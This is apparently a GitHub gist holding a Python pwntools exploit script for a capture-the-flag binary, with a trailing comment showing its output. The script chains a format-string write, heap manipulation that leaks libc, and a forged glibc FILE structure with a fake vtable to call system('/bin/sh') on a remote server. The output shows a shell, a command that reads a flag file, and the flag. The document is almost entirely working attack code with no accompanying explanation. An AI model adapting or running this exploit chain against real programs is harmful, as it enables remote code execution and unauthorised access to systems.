Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
# -*- coding:utf-8 -*-
from pwn import *
# based on https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, '\0')
struct += p64(_lock)
struct = struct.ljust(0xd8, '\0')
return struct
def welcome(s):
print io.recvuntil("Your name: ")
io.send(s)
print io.recvline()
def menu(n):
io.recvuntil("> ")
io.sendline(str(n))
def incluye(n, c):
menu(1)
io.recvuntil("Priority: ")
io.sendline(str(n))
io.recvuntil("Command: ")
io.send(c + "\r")
io.recvuntil("The command has been included at index ")
return io.recv(2)
def review(idx):
menu(2)
io.recvuntil("Command index: ")
io.sendline(str(idx))
io.recvuntil("Priority: ")
leak_1 = u64(io.recvuntil("\n")[:-1].ljust(8, '\0'))
io.recvuntil("Command: ")
leak_2 = u64(io.recvuntil("\n")[:-1].ljust(8, '\0'))
return leak_1, leak_2
def delete(idx):
menu(3)
io.recvuntil("Command index: ")
io.sendline(str(idx))
io.recvline()
def send(idx):
menu(5)
io.recvuntil("Are you sending the commands to which rbs?\n")
io.sendline(str(idx))
io.recvuntil("You command Mr. ")
return io.recvuntil("!\n")[:-2]
def attach(addr):
gdb.attach(io, 'b *{:#x}\nc'.format(addr + io.libs()[elf.path]))
elf = ELF("./command", checksec = False)
libc = ELF("./libc.so.6", checksec = False)
env = {"LD_PRELOAD":libc.path}
local = False
while True:
io = process(elf.path, env=env) if local else remote("command.pwn2.win", 1337)
# 588 LSB fake_struct
welcome("%46472d%4$hn")
for _ in range(1, 10):
incluye(_, "")
for _ in range(9, 0, -1):
delete(_)
for _ in range(1, 9):
incluye(_, "")
leak_1, leak_2 = review(8)
libc.address = leak_2 - 0x3ebc0d
print "[+] libc leak: 0x%x" % leak_2
print "[+] libc base address: 0x%x" % libc.address
for _ in range(7, 0, -1):
delete(_)
rip = libc.symbols['system']
rdi = next(libc.search("/bin/sh"))
print "[+] system: 0x%x" % rip
print "[+] /bin/sh ptr: 0x%x" % rdi
assert(rdi % 2 == 0)
# Crafting FILE structure
# This stores the address of a pointer to the _IO_str_overflow function
# Libc specific
io_str_overflow_ptr_addr = libc.symbols['_IO_file_jumps'] + 0xd8
# Calculate the vtable by subtracting appropriate offset
fake_vtable_addr = io_str_overflow_ptr_addr - 2 * 8
# Craft file struct
file_struct = pack_file(_IO_buf_base = 0,
_IO_buf_end = (rdi - 100) / 2,
_IO_write_ptr = (rdi - 100) / 2,
_IO_write_base = 0,
_lock = libc.address + 0x3eb1b0) # _lock ptr to NULL
# vtable pointer
file_struct += p64(fake_vtable_addr)
# Next entry corresponds to: (*((_IO_strfile *) fp)->_s._allocate_buffer)
file_struct += p64(rip)
file_struct = file_struct.ljust(0x100, '\0')
incluye(1337, file_struct)
send(8)
try:
io.sendline("id")
data = io.recv()
print data
if "/home/commander/commander:" in data:
io.close()
continue
except:
io.close()
continue
break
io.interactive()
'''
[+] libc leak: 0x7f8b9b064c0d
[+] libc base address: 0x7f8b9ac79000
[+] system: 0x7f8b9acc8440
[+] /bin/sh ptr: 0x7f8b9ae2ce9a
uid=1001(commander) gid=1001(commander) groups=1001(commander)
[*] Switching to interactive mode
$ cat /home/commander/flag.txt
CTF-BR{_wh4t_4_fUn_xpl_ch41n_mY_c0mm4nd3r_}
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment